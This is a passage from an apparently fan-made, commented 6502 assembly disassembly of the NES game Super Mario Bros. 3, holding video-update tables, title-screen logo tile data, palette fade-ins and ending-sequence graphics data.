address of the end picture for each world EndPic_VRAMStart_H: .byte $28, $28, $28, $29, $29, $28, $28, $28 ; High EndPic_VRAMStart_L: .byte $E3, $AD, $E9, $67, $23, $AD, $A3, $A9 ; Low ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; This table contains commands for Video_Misc_Updates2 which tells ; it how to generate certain graphical elements programatically ; ; Note: See Video_Upd_Table in PRG030 for format ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; Remember that the left edge is typically clipped, so nothing is visible there... Video_Upd_Table2: .word Graphics_Buffer ; $00 - Graphics buffer for dynamically generated content .word Title_Load_Palette ; $01 - Loads palette for title screen (and falls into Title_Checkerboard_Floor) .word PRG025_CA9B ; $02 - ??? .word Title_FadeIn_1 ; $03 - Title screen colors fade in part 1 .word Title_FadeIn_2 ; $04 - Title screen colors fade in part 2 .word Title_FadeIn_3 ; $05 - Title screen colors fade in part 3 .word Title_FadeIn_4 ; $06 - Title screen colors fade in part 4 .word Title_LoadMenu ; $07 - Loads the 1P/2P select menu ; The title screen -- this is too complicated/large to load in one single buffer ; instance, so it is broken up across several frames in chunks. Maybe I could ; explain what's being loaded a little better, but whatever :} .word TitleScreen_LogoLine01 ; $08 - Title Screen part 01 Title Sequence begin .word TitleScreen_LogoLine02 ; $09 - Title Screen part 02 .word TitleScreen_LogoLine03 ; $0A - Title Screen part 03 .word TitleScreen_LogoLine04 ; $0B - Title Screen part 04 .word TitleScreen_LogoLine05 ; $0C - Title Screen part 05 .word TitleScreen_LogoLine06 ; $0D - Title Screen part 06 .word TitleScreen_LogoLine07 ; $0E - Title Screen part 07 .word TitleScreen_LogoLine08 ; $0F - Title Screen part 08 .word TitleScreen_LogoLine09 ; $10 - Title Screen part 09 .word TitleScreen_LogoLine10 ; $11 - Title Screen part 10 .word TitleScreen_LogoLine11 ; $12 - Title Screen part 11 .word TitleScreen_LogoLine12 ; $13 - Title Screen part 12 .word TitleScreen_LogoLine13 ; $14 - Title Screen part 13 .word TitleScreen_LogoLine14 ; $15 - Title Screen part 14 .word TitleScreen_LogoLine15 ; $16 - Title Screen part 15 .word TitleScreen_LogoLine16 ; $17 - Title Screen part 16 .word TitleScreen_LogoLine17 ; $18 - Title Screen part 17 .word TitleScreen_LogoLine18 ; $19 - Title Screen part 18 .word TitleScreen_LogoLine19 ; $1A - Title Screen part 19 .word TitleScreen_LogoLine20 ; $1B - Title Screen part 20 .word TitleScreen_LogoLine21 ; $1C - Title Screen part 21 .word TitleScreen_LogoLine22 ; $1D - Title Screen part 22 .word TitleScreen_LogoLine23 ; $1E - Title Screen part 23 .word TitleScreen_LogoLine24 ; $1F - Title Screen part 24 .word TitleScreen_LogoAttr1 ; $20 - Title Screen part 25 .word TitleScreen_LogoAttr2 ; $21 - Title Screen part 26 .word TitleScreen_DarkPal ; $22 - Title Screen part 27 Sequence end .word Title_Checkerboard_Floor ; $23 - The black & white squares at the beginning .word Ending_CurtainExtension ; $24 - Slightly longer curtain in ending .word PRG025_CCCE ; $25 - ??? .word EndSeq_WorldFadeIn1 ; $26 - End pic world fade in effect part 1 .word EndSeq_WorldFadeIn2 ; $27 - End pic world fade in effect part 2 .word EndSeq_WorldFadeIn3 ; $28 - End pic world fade in effect part 3 .word EndSeq_WorldFadeIn4 ; $29 - End pic world fade in effect part 4 .word PRG025_CD82 ; $2A - ??? .word PRG025_CDA6 ; $2B - ??? .word PRG025_CDBB ; $2C - ??? .word PRG025_CDD1 ; $2D - ??? .word PRG025_CDE7 ; $2E - ??? .word PRG025_CE02 ; $2F - ??? .word PRG025_CE19 ; $30 - ??? .word PRG025_CE2D ; $31 - .word PRG025_CE43 ; $32 - .word PRG025_CE57 ; $33 - .word PRG025_CE6D ; $34 - .word PRG025_CE7B ; $35 - .word PRG025_CE91 ; $36 - .word PRG025_CE9E ; $37 - .word PRG025_CEAE ; $38 - .word PRG025_CEB6 ; $39 - .word PRG025_CEC5 ; $3A - .word PRG025_CEE2 ; $3B - .word PRG025_CEFF ; $3C - .word PRG025_CF0A ; $3D - .word PRG025_CF20 ; $3E - .word PRG025_CF43 ; $3F - .word PRG025_CF6B ; $40 - .word PRG025_CF8A ; $41 - .word PRG025_CF9E ; $42 - .word PRG025_CFB2 ; $43 - .word PRG025_CFC8 ; $44 - .word PRG025_CFED ; $45 - .word PRG025_CFF6 ; $46 - .word PRG025_D009 ; $47 - .word PRG025_D01F ; $48 - .word PRG025_D035 ; $49 - .word PRG025_D044 ; $4A - .word PRG025_D051 ; $4B - .word PRG025_D059 ; $4C - .word EndSeq_World1Pal ; $4D - Ending pic World 1 full palette .word EndSeq_World2Pal ; $4E - Ending pic World 2 full palette .word EndSeq_World3Pal ; $4F - Ending pic World 3 full palette .word EndSeq_World4Pal ; $50 - Ending pic World 4 full palette .word EndSeq_World5Pal ; $51 - Ending pic World 5 full palette .word EndSeq_World6Pal ; $52 - Ending pic World 6 full palette .word EndSeq_World7Pal ; $53 - Ending pic World 7 full palette .word EndSeq_World8Pal ; $54 - Ending pic World 8 full palette .word EndSeq_PrincessChamber ; $55 - Princess's chamber itself .word EndSeq_Fade4 ; $56 - Princess's chamber "fade in/out" effect part 4 .word EndSeq_Fade3 ; $57 - Princess's chamber "fade in/out" effect part 3 .word EndSeq_Fade2 ; $58 - Princess's chamber "fade in/out" effect part 2 .word EndSeq_Fade1 ; $59 - Princess's chamber "fade in/out" effect part 1 .word EndSeq_Fade0 ; $5A - Princess's chamber "fade out" lead (then goes back through the above) .word PRG025_D4B5 ; $5B - ?? Sprite palette .word EndSeq_CurtainFadeIn1 ; $5C - Curtain fade in effect part 1 .word EndSeq_CurtainFadeIn2 ; $5D - Curtain fade in effect part 2 .word EndSeq_CurtainFadeIn3 ; $5E - Curtain fade in effect part 3 .word PRG025_D505 ; $5F - Title_Load_Palette: ; This is the initial palette applied to the title screen vaddr $3F00 .byte 32 ; 32 bytes to follow (32 colors) ; The colors! .byte $0F, $0F, $30, $16, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F .byte $0F, $16, $36, $0F, $0F, $2A, $36, $0F, $0F, $27, $30, $0F, $0F, $2A, $30, $0F ; Falls into... Title_Checkerboard_Floor: vaddr $22E0 ; Bottom of nametable .byte 32 ; 32 bytes to follow .byte $18, $19, $18, $19, $18, $19, $18, $19, $18, $19, $18, $19, $18, $19, $18, $19 .byte $18, $19, $18, $19, $18, $19, $18, $19, $18, $19, $18, $19, $18, $19, $18, $19 vaddr $2B00 .byte 32 ; 32 bytes to follow .byte $15, $15, $16, $16, $15, $15, $16, $16, $15, $15, $16, $16, $15, $15, $16, $16 .byte $15, $15, $16, $16, $15, $15, $16, $16, $15, $15, $16, $16, $15, $15, $16, $16 vaddr $2B20 .byte 32 ; 32 bytes to follow .byte $E6, $E6, $E7, $E7, $E6, $E6, $E7, $E7, $E6, $E6, $E7, $E7, $E6, $E6, $E7, $E7 .byte $E6, $E6, $E7, $E7, $E6, $E6, $E7, $E7, $E6, $E6, $E7, $E7, $E6, $E6, $E7, $E7 vaddr $2B40 .byte 32 ; 32 bytes to follow .byte $F6, $F6, $F7, $F7, $F6, $F6, $F7, $F7, $F6, $F6, $F7, $F7, $F6, $F6, $F7, $F7 .byte $F6, $F6, $F7, $F7, $F6, $F6, $F7, $F7, $F6, $F6, $F7, $F7, $F6, $F6, $F7, $F7 vaddr $2B60 .byte 32 ; 32 bytes to follow .byte $5D, $5D, $5F, $5F, $5D, $5D, $5F, $5F, $5D, $5D, $5F, $5F, $5D, $5D, $5F, $5F .byte $5D, $5D, $5F, $5F, $5D, $5D, $5F, $5F, $5D, $5D, $5F, $5F, $5D, $5D, $5F, $5F ; Terminator! .byte $00 TitleScreen_LogoLine01: vaddr $2000 .byte $20, $08, $09, $08, $09, $08, $09, $08, $09, $08, $09, $08, $09, $08, $09, $08 .byte $09, $08, $09, $08, $09, $08, $09, $08, $09, $08, $09, $08, $09, $08, $09, $08 .byte $09 ; Terminator .byte $00 TitleScreen_LogoLine02: vaddr $2020 .byte $20, $18, $19, $18, $19, $18, $19, $18, $19, $18, $19, $18, $19, $18, $19, $18 .byte $19, $18, $19, $18, $19, $18, $19, $18, $19, $18, $19, $18, $19, $18, $19, $18 .byte $19 ; Terminator .byte $00 TitleScreen_LogoLine03: vaddr $2040 .byte $20, $28, $29, $28, $29, $28, $29, $28, $29, $28, $29, $28, $29, $28, $29, $28 .byte $29, $28, $29, $28, $29, $28, $29, $28, $29, $28, $29, $28, $29, $28, $29, $28 .byte $29 ; Terminator .byte $00 TitleScreen_LogoLine04: vaddr $2060 .byte VU_REPEAT | $20, $5C ; Terminator .byte $00 TitleScreen_LogoLine05: vaddr $2080 .byte VU_REPEAT | $0B, $5C vaddr $208B .byte $15, $30, $31, $32, $33, $34, $35, $36, $37, $38, $39, $3A, $5C, $5C, $5C, $5C .byte $3B, $3C, $3D, $3E, $5C, $5C ; Terminator .byte $00 TitleScreen_LogoLine06: vaddr $20A0 .byte VU_REPEAT | $0B, $5C vaddr $20AB .byte $15, $40, $41, $42, $43, $44, $45, $46, $47, $48, $49, $4A, $5C, $5C, $5C, $5C .byte $4B, $4C, $4D, $4E, $5C, $5C ; Terminator .byte $00 TitleScreen_LogoLine07: vaddr $20C0 .byte $16, $5C, $5C, $3B, $3C, $3D, $3E, $5C, $5C, $5C, $5C, $5C, $50, $51, $52, $53 .byte $54, $55, $56, $57, $58, $59, $5A vaddr $20D6 .byte VU_REPEAT | $0A, $5C ; Terminator .byte $00 TitleScreen_LogoLine08: vaddr $20E0 .byte $16, $5C, $5C, $4B, $4C, $4D, $4E, $5C, $5C, $5C, $5C, $5C, $60, $61, $62, $63 .byte $64, $65, $66, $67, $68, $69, $6A vaddr $20F6 .byte VU_REPEAT | $0A, $5C ; Terminator .byte $00 TitleScreen_LogoLine09: vaddr $2100 .byte $20, $5C, $5C, $5C, $5C, $5C, $70, $71, $72, $73, $74, $75, $76, $77, $78, $79 .byte $7A, $7B, $5C, $7D, $7E, $7F, $C0, $C1, $C2, $C3, $C4, $C5, $5C, $5C, $5C, $5C .byte $5C ; Terminator .byte $00 TitleScreen_LogoLine10: vaddr $2120 .byte $20, $5C, $5C, $5C, $5C, $5C, $80, $81, $82, $83, $84, $85, $86, $87, $88, $89 .byte $8A, $8B, $8C, $8D, $8E, $8F, $D0, $D1, $D2, $D3, $D4, $D5, $5C, $5C, $5C, $5C .byte $5C ; Terminator .byte $00 TitleScreen_LogoLine11: vaddr $2140 .byte $20, $5C, $5C, $5C, $5C, $5C, $90, $91, $92, $93, $94, $95, $96, $97, $98, $99 .byte $9A, $9B, $9C, $9D, $9E, $9F, $E0, $E1, $E2, $E3, $E4, $E5, $5C, $5C, $5C, $5C .byte $5C ; Terminator .byte $00 TitleScreen_LogoLine12: vaddr $2160 .byte $20, $5C, $5C, $5C, $5C, $5C, $A0, $A1, $A2, $A3, $A4, $A5, $A6, $A7, $A8, $A9 .byte $AA, $AB, $AC, $AD, $AE, $AF, $F0, $F1, $F2, $F3, $F4, $F5, $5C, $5C, $5C, $5C .byte $5C ; Terminator .byte $00 TitleScreen_LogoLine13: vaddr $2180 .byte $20, $5B, $6B, $5C, $5C, $5C, $B0, $B1, $B2, $B3, $B4, $B5, $B6, $B7, $B8, $B9 .byte $BA, $BB, $BC, $BD, $BE, $BF, $C6, $C7, $C8, $D6, $D7, $D8, $E8, $04, $05, $06 .byte $07 ; Terminator .byte $00 TitleScreen_LogoLine14: vaddr $21A0 .byte VU_REPEAT | $0E, $5C vaddr $21AE .byte $12, $C9, $CA, $CB, $CC, $CD, $CE, $CF, $5C, $5C, $5C, $5C, $5C, $5C, $5C, $14 .byte $21, $21, $17 ; Terminator .byte $00 TitleScreen_LogoLine15: vaddr $21C0 .byte VU_REPEAT | $0E, $5C vaddr $21CE .byte $12, $D9, $DA, $DB, $DC, $DD, $5C, $5C, $5C, $5C, $5C, $5C, $5C, $5C, $5C, $20 .byte $21, $21, $23 ; Terminator .byte $00 TitleScreen_LogoLine16: vaddr $21E0 .byte VU_REPEAT | $0E, $5C vaddr $21EE .byte $12, $E9, $EA, $EB, $EC, $ED, $5C, $5C, $5C, $5C, $5C, $5C, $5C, $5C, $5C, $20 .byte $21, $21, $23 ; Terminator .byte $00 TitleScreen_LogoLine17: vaddr $2200 .byte $20, $04, $05, $06, $07, $5C, $5C, $5C, $5C, $5C, $5C, $5C, $5C, $5C, $5C, $F9 .byte $FA, $FB, $FF, $FD, $FE, $5C, $5C, $5C, $5C, $5C, $5C, $04, $05, $02, $03, $21 .byte $23 ; Terminator .byte $00 TitleScreen_LogoLine18: vaddr $2220 .byte $20, $14, $21, $21, $22, $24, $25, $5C, $5C, $5C, $5C, $5C, $5C, $5C, $5C, $6C .byte $6D, $6E, $6F, $DE, $DF, $5C, $5C, $5C, $5C, $5C, $5C, $14, $21, $21, $13, $21 .byte $23 ; Terminator .byte $00 TitleScreen_LogoLine19: vaddr $2240 .byte $20, $20, $21, $21, $23, $5F, $11, $5C, $5C, $5C, $5C, $5C, $5C, $5C, $5C, $5C .byte $5C, $EE, $EF, $5C, $5C, $5C, $5C, $5C, $5C, $5C, $5C, $20, $21, $21, $21, $21 .byte $23 ; Terminator .byte $00 TitleScreen_LogoLine20: vaddr $2260 .byte $06, $20, $21, $21, $23, $5F, $5F vaddr $2266 .byte VU_REPEAT | $14, $5C vaddr $227A .byte $06, $20, $21, $21, $21, $21, $23 ; Terminator .byte $00 TitleScreen_LogoLine21: vaddr $2280 .byte $06, $20, $21, $00, $01, $26, $27 vaddr $2286 .byte VU_REPEAT | $14, $5C vaddr $229A .byte $06, $20, $21, $21, $21, $21, $23 ; Terminator .byte $00 TitleScreen_LogoLine22: vaddr $22A0 .byte $08, $20, $21, $10, $21, $21, $22, $24, $25 vaddr $22A8 .byte VU_REPEAT | $12, $5C vaddr $22BA .byte $06, $20, $21, $21, $21, $21, $23 ; Terminator .byte $00 TitleScreen_LogoLine23: vaddr $22C0 .byte $08, $20, $21, $21, $21, $21, $23, $5F, $11 vaddr $22C8 .byte VU_REPEAT | $10, $5C vaddr $22D8 .byte $08, $04, $05, $02, $03, $21, $21, $21, $23 ; Terminator .byte $00 TitleScreen_LogoLine24: vaddr $22E0 .byte $08, $20, $21, $21, $21, $21, $23, $5F, $5F vaddr $22E8 .byte VU_REPEAT | $10, $5C vaddr $22F8 .byte $08, $14, $21, $21, $13, $21, $21, $21, $23 ; Terminator .byte $00 TitleScreen_LogoAttr1: vaddr $23C0 .byte $20, $F0, $F0, $F0, $F0, $F0, $F0, $F0, $F0, $2A, $8A, $66, $55, $55, $99, $A2 .byte $A8, $AA, $55, $55, $55, $55, $55, $55, $A9, $A8, $A6, $A5, $ED, $77, $B5, $A5 .byte $AA ; Terminator .byte $00 TitleScreen_LogoAttr2: vaddr $23E0 .byte $20, $AA, $AA, $0A, $0E, $0F, $0B, $AA, $AA, $AA, $AA, $22, $00, $00, $00, $AA .byte $AA, $00, $00, $00, $00, $00, $00, $00, $00, $0A, $0A, $0A, $0A, $0A, $0A, $0A .byte $0A ; Terminator .byte $00 TitleScreen_DarkPal: vaddr $3F00 .byte $10, $0F, $0F, $30, $0F, $0F, $0F, $21, $02, $0F, $0F, $0F, $0F, $0F, $0F, $27 .byte $02 ; Terminator .byte $00 PRG025_CA9B: vaddr $3F00 .byte 16 ; 16 bytes (colors) to follow... .byte $0F, $0F, $30, $16, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F ; Terminator .byte $00 Title_FadeIn_1: vaddr $3F00 .byte 16 ; 16 bytes (colors) to follow... .byte $07, $0F, $00, $06, $07, $0F, $01, $02, $07, $0F, $0A, $0A, $07, $0F, $07, $02 .byte $00 ; Terminator Title_FadeIn_2: vaddr $3F00 .byte 16 ; 16 bytes (colors) to follow... .byte $17, $0F, $10, $16, $17, $0F, $11, $02, $17, $0F, $1A, $1A, $17, $0F, $17, $02 .byte $00 ; Terminator Title_FadeIn_3: vaddr $3F00 .byte 16 ; 16 bytes (colors) to follow... .byte $27, $0F, $20, $16, $27, $0F, $21, $02, $27, $0F, $2A, $1A, $27, $0F, $27, $02 .byte $00 ; Terminator Title_FadeIn_4: vaddr $3F00 .byte 16 ; 16 bytes (colors) to follow... .byte $37, $0F, $30, $16, $37, $0F, $21, $02, $37, $0F, $2A, $1A, $37, $0F, $27, $02 .byte $00 ; Terminator Title_LoadMenu: ; 1 PLAYER GAME vaddr $226A .byte 13 ; 13 bytes to follow .byte $0E, $5C, $0A, $0B, $0C, $1A, $1B, $0D, $5C, $1C, $0C, $1D, $1B ; 2 PLAYER GAME vaddr $22AA .byte 13 ; 13 bytes to follow .byte $1E, $5C, $0A, $0B, $0C, $1A, $1B, $0D, $5C, $1C, $0C, $1D, $1B ; C 1988 Nintendo vaddr $22EA .byte 13 ; 13 bytes to follow .byte $3F, $5C, $0E, $0F, $1F, $1F, $5C, $2A, $2B, $2C, $2D, $2E, $2F .byte $00 ; Terminator Ending_CurtainExtension: vaddr $22E0 .byte $20, $08, $09, $08, $09, $08, $09, $08, $09, $08, $09, $08, $09, $08, $09, $08 .byte $09, $08, $09, $08, $09, $08, $09, $08, $09, $08, $09, $08, $09, $08, $09, $08 .byte $09 vaddr $2300 .byte $20, $08, $09, $08, $09, $08, $09, $08, $09, $08, $09, $08, $09, $08, $09, $08 .byte $09, $08, $09, $08, $09, $08, $09, $08, $09, $08, $09, $08, $09, $08, $09, $08 .byte $09 vaddr $2320 .byte $20, $08, $09, $08, $09, $08, $09, $08, $09, $08, $09, $08, $09, $08, $09, $08 .byte $09, $08, $09, $08, $09, $08, $09, $08, $09, $08, $09, $08, $09, $08, $09, $08 .byte $09 vaddr $2340 .byte $20, $08, $09, $08, $09, $08, $09, $08, $09, $08, $09, $08, $09, $08, $09, $08 .byte $09, $08, $09, $08, $09, $08, $09, $08, $09, $08, $09, $08, $09, $08, $09, $08 .byte $09 vaddr $2360 .byte $20, $08, $09, $08, $09, $08, $09, $08, $09, $08, $09, $08, $09, $08, $09, $08 .byte $09, $08, $09, $08, $09, $08, $09, $08, $09, $08, $09, $08, $09, $08, $09, $08 .byte $09 vaddr $2380 .byte $20, $08, $09, $08, $09, $08, $09, $08, $09, $08, $09, $08, $09, $08, $09, $08 .byte $09, $08, $09, $08, $09, $08, $09, $08, $09, $08, $09, $08, $09, $08, $09, $08 .byte $09 vaddr $23A0 .byte $20, $08, $09, $08, $09, $08, $09, $08, $09, $08, $09, $08, $09, $08, $09, $08 .byte $09, $08, $09, $08, $09, $08, $09, $08, $09, $08, $09, $08, $09, $08, $09, $08 .byte $09 vaddr $2800 .byte $20, $08, $09, $08, $09, $08, $09, $08, $09, $08, $09, $08, $09, $08, $09, $08 .byte $09, $08, $09, $08, $09, $08, $09, $08, $09, $08, $09, $08, $09, $08, $09, $08 .byte $09 vaddr $2820 .byte $20, $18, $19, $18, $19, $18, $19, $18, $19, $18, $19, $18, $19, $18, $19, $18 .byte $19, $18, $19, $18, $19, $18, $19, $18, $19, $18, $19, $18, $19, $18, $19, $18 .byte $19 vaddr $2840 .byte $20, $28, $29, $28, $29, $28, $29, $28, $29, $28, $29, $28, $29, $28, $29, $28 .byte $29, $28, $29, $28, $29, $28, $29, $28, $29, $28, $29, $28, $29, $28, $29, $28 .byte $29 vaddr $23C0 .byte VU_REPEAT | $20, $00 vaddr $23E0 .byte VU_REPEAT | $10, $00 vaddr $23F0 .byte VU_REPEAT | $10, $00 vaddr $2BC0 .byte VU_REPEAT | $08, $A0 vaddr $2BC8 .byte VU_REPEAT | $08, $AA vaddr $2BD0 .byte VU_REPEAT | $10, $AA vaddr $2BE0 .byte VU_REPEAT | $10, $AA vaddr $3F00 .byte $20, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F .byte $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F .byte $0F ; Terminator .byte $00 PRG025_CCCE: vaddr $3F00 .byte $20, $0F, $0F, $30, $16, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F .byte $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F .byte $0F ; Terminator .byte $00 EndSeq_WorldFadeIn1: vaddr $3F00 .byte $20, $0F, $0F, $30, $16, $0F, $0F, $0F, $00, $0F, $0F, $00, $0F, $0F, $0F, $00 .byte $00, $0F, $0F, $0F, $00, $0F, $00, $0F, $0F, $0F, $00, $0F, $0F, $0F, $00, $0F .byte $0F ; Terminator .byte $00 EndSeq_WorldFadeIn2: vaddr $3F00 .byte $20, $0F, $0F, $30, $16, $0F, $0F, $00, $10, $0F, $00, $10, $00, $0F, $00, $10 .byte $10, $0F, $00, $00, $10, $0F, $10, $00, $00, $0F, $10, $00, $00, $0F, $10, $00 .byte $00 ; Terminator .byte $00 EndSeq_WorldFadeIn3: vaddr $3F00 .byte $20, $0F, $0F, $30, $16, $0F, $00, $10, $30, $0F, $10, $30, $10, $0F, $10, $30 .byte $30, $0F, $10, $10, $30, $0F, $30, $10, $10, $0F, $30, $10, $10, $0F, $30, $10 .byte $10 ; Terminator .byte $00 EndSeq_WorldFadeIn4: vaddr $3F00 .byte $20, $0F, $0F, $30, $16, $0F, $27, $2A, $36, $0F, $3C, $30, $37, $0F, $21, $2A .byte $36, $0F, $10, $36, $0F, $0F, $25, $36, $0F, $0F, $29, $36, $0F, $0F, $29, $36 .byte $0F ; Terminator .byte $00 PRG025_CD82: .byte $28, $F4, $07, $DE, $F4, $EF, $F1, $E3 ; $CD7A - $CD89 .byte $5C, $77, $29, $74, $0A, $E8, $EF, $E0, $F8, $F8, $5C, $F1, $E0, $F3, $E3, $2A ; $CD8A - $CD99 .byte $5C, $04, $D0, $D1, $D2, $D3, $2A, $7C, $82, $D4, $D6, $00 PRG025_CDA6: .byte $2A, $7F, $85, $D5 ; $CD9A - $CDA9 .byte $D7, $D7, $D7, $D7, $2A, $BA, $04, $D0, $D1, $D2, $D3, $2A, $DA, $82, $D4, $D6 ; $CDAA - $CDB9 .byte $00 PRG025_CDBB: .byte $2A, $80, $03, $D1, $D2, $D3, $2A, $A2, $01, $D5, $2A, $C1, $04, $D0, $D1 ; $CDBA - $CDC9 .byte $D2, $D3, $2A, $E4, $01, $D5, $00 PRG025_CDD1: .byte $2B, $D1, $04, $55, $55, $55, $99, $2B, $D9 ; $CDCA - $CDD9 .byte $04, $55, $55, $7F, $BB, $2B, $E1, $04, $A5, $A5, $AF, $AB, $00 PRG025_CDE7: .byte $28, $E3, $07 ; $CDDA - $CDE9 .byte $DE, $F4, $EF, $F1, $E3, $5C, $78, $29, $24, $06, $E3, $E4, $F8, $E4, $EF, $F9 ; $CDEA - $CDF9 .byte $29, $67, $04, $F1, $E0, $F3, $E3, $00 PRG025_CE02: .byte $2A, $65, $01, $58, $2A, $82, $05, $58 ; $CDFA - $CE09 .byte $5C, $57, $5C, $56, $2A, $A1, $07, $57, $5C, $5A, $5C, $5C, $5C, $56, $00 PRG025_CE19: .byte $2A ; $CE0A - $CE19 .byte $C0, $03, $57, $5C, $57, $2A, $C8, $01, $56, $2A, $E1, $01, $57, $2A, $E9, $01 ; $CE1A - $CE29 .byte $56, $00, $00 PRG025_CE2D: .byte $2B, $CB, $04, $EA, $5A, $5A, $5A, $2B, $D3, $04, $66, $55, $55 ; $CE2A - $CE39 .byte $55, $2B, $DB, $04, $66, $55, $55, $55, $00 PRG025_CE43: .byte $29, $A2, $05, $DE, $F4, $EF, $F1 ; $CE3A - $CE49 .byte $E3, $29, $E4, $01, $79, $2A, $9A, $04, $CA, $CB, $CC, $CD, $00 PRG025_CE57: .byte $2A, $BA, $04 ; $CE4A - $CE59 .byte $DA, $DB, $DC, $DD, $2A, $DA, $04, $CE, $CF, $5C, $DF, $2A, $FA, $04, $CE, $CF ; $CE5A - $CE69 .byte $5C, $DF, $00 PRG025_CE6D: .byte $2A, $89, $0A, $DE, $E0, $F9, $E4, $EF, $5C, $F1, $E0, $F3, $E3 ; $CE6A - $CE79 .byte $00 PRG025_CE7B: .byte $2B, $D2, $04, $E6, $FF, $FF, $FF, $2B, $DA, $04, $EE, $FF, $FF, $FF, $2B ; $CE7A - $CE89 .byte $E2, $04, $AE, $AF, $AF, $AF, $00 PRG025_CE91: .byte $29, $78, $05, $DE, $F4, $EF, $F1, $E3, $29 ; $CE8A - $CE99 .byte $BA, $01, $7A, $00 PRG025_CE9E: .byte $2A, $19, $05, $E8, $EA, $E0, $F3, $F9, $2A, $59, $04, $F1 ; $CE9A - $CEA9 .byte $E0, $F3, $E3, $00 PRG025_CEAE: .byte $2B, $DA, $04, $FF, $FF, $FF, $BB, $00 PRG025_CEB6: .byte $2B, $E2, $04, $FF ; $CEAA - $CEB9 .byte $FF, $FF, $BB, $2B, $EA, $04, $AF, $AF, $AF, $AB, $00 PRG025_CEC5: .byte $28, $F6, $07, $DE, $F4 ; $CEBA - $CEC9 .byte $EF, $F1, $E3, $5C, $7B, $29, $36, $08, $F8, $F0, $FE, $5C, $F1, $E0, $F3, $E3 ; $CECA - $CED9 .byte $28, $D0, $04, $C0, $C1, $C2, $C3, $00 PRG025_CEE2: .byte $28, $F0, $04, $C4, $C5, $C6, $C7, $29 ; $CEDA - $CEE9 .byte $99, $04, $C0, $C1, $C2, $C3, $29, $B9, $04, $C4, $C5, $C6, $C7, $2A, $F9, $04 ; $CEEA - $CEF9 .byte $D0, $D1, $D2, $D3, $00 PRG025_CEFF: .byte $28, $F6, $07, $DE, $F4, $EF, $F1, $E3, $5C, $7B, $00 ; $CEFA - $CF09 PRG025_CF0A: .byte $2B, $D1, $04, $5A, $FA, $FA, $9A, $2B, $D9, $04, $FF, $7F, $5F, $99, $2B, $E1 ; $CF0A - $CF19 .byte $04, $55, $55, $55, $99, $00 PRG025_CF20: .byte $28, $E3, $07, $DE, $F4, $EF, $F1, $E3, $5C, $7C ; $CF1A - $CF29 .byte $2A, $51, $08, $EA, $E2, $E4, $5C, $F1, $E0, $F3, $E3, $2A, $20, $0A, $01, $0D ; $CF2A - $CF39 .byte $01, $0D, $01, $0D, $01, $0D, $01, $0D, $00 PRG025_CF43: .byte $2A, $40, $0A, $40, $4D, $40, $4D ; $CF3A - $CF49 .byte $40, $4D, $40, $4D, $40, $4D, $2A, $60, $0A, $01, $0D, $01, $0D, $01, $0D, $01 ; $CF4A - $CF59 .byte $0D, $01, $0D, $2A, $80, $0A, $40, $4D, $40, $4D, $40, $4D, $40, $4D, $40, $4D ; $CF5A - $CF69 .byte $00 PRG025_CF6B: .byte $2A, $A0, $0C, $01, $0D, $01, $0D, $01, $0D, $01, $0D, $01, $0D, $01, $0D ; $CF6A - $CF79 .byte $2A, $C0, $0C, $40, $4D, $40, $4D, $40, $4D, $40, $4D, $40, $4D, $40, $4D, $00 ; $CF7A - $CF89 PRG025_CF8A: .byte $2A, $E0, $10, $D8, $C9, $D8, $C9, $D8, $C9, $D8, $C9, $D8, $C9, $D8, $C9, $D8 ; $CF8A - $CF99 .byte $C9, $D8, $C9, $00 PRG025_CF9E: .byte $2A, $F0, $10, $D8, $C9, $D8, $C9, $D8, $C9, $D8, $C9, $D8 ; $CF9A - $CFA9 .byte $C9, $D8, $C9, $D8, $C9, $D8, $C9, $00 PRG025_CFB2: .byte $2B, $CB, $04, $EA, $FA, $FA, $FA, $2B ; $CFAA - $CFB9 .byte $D3, $04, $EE, $7F, $FF, $FF, $2B, $DB, $04, $EE, $FF, $FF, $FF, $00 PRG025_CFC8: .byte $2A, $43 ; $CFBA - $CFC9 .byte $07, $DE, $F4, $EF, $F1, $E3, $5C, $7D, $2A, $84, $09, $F5, $EA, $F5, $E4, $5C ; $CFCA - $CFD9 .byte $F1, $E0, $F3, $E3, $29, $9A, $04, $CA, $CB, $CC, $CD, $29, $BA, $04, $DA, $DB ; $CFDA - $CFE9 .byte $DC, $DD, $00 PRG025_CFED: .byte $29, $DA, $CA, $CE, $29, $DB, $CA, $CF, $00 PRG025_CFF6: .byte $29, $DD, $CA, $DF ; $CFEA - $CFF9 .byte $2A, $74, $04, $CA, $CB, $CC, $CD, $2A, $94, $04, $DA, $DB, $DC, $DD, $00 PRG025_D009: .byte $2A ; $CFFA - $D009 .byte $B4, $04, $CE, $CF, $5C, $DF, $2A, $D4, $04, $CE, $CF, $5C, $DF, $2A, $F4, $04 ; $D00A - $D019 .byte $CE, $CF, $5C, $DF, $00 PRG025_D01F: .byte $2B, $C9, $04, $FA, $FA, $FA, $BA, $2B, $D1, $04, $FF ; $D01A - $D029 .byte $FF, $FF, $BB, $2B, $D9, $04, $FF, $FF, $FF, $BB, $00 PRG025_D035: .byte $29, $63, $04, $E3, $E0 ; $D02A - $D039 .byte $EF, $F0, $29, $A3, $04, $F1, $E0, $F3, $E3, $00 PRG025_D044: .byte $29, $7A, $05, $DE, $F4, $EF ; $D03A - $D049 .byte $F1, $E3, $29, $9C, $01, $7E, $00 PRG025_D051: .byte $2B, $CA, $04, $6A, $5A, $5A, $5A, $00 PRG025_D059: .byte $2B ; $D04A - $D059 .byte $D2, $04, $66, $55, $55, $55, $2B, $DA, $04, $66, $55, $55, $55, $00 EndSeq_World1Pal: vaddr $3F00 .byte $20, $0F, $0F, $30, $16, $0F, $17, $2A, $37, $0F, $2C, $30, $37, $0F, $2C, $2A .byte $37, $0F, $16, $36, $0F, $0F, $0F, $30, $16, $0F, $0F, $30, $16, $0F, 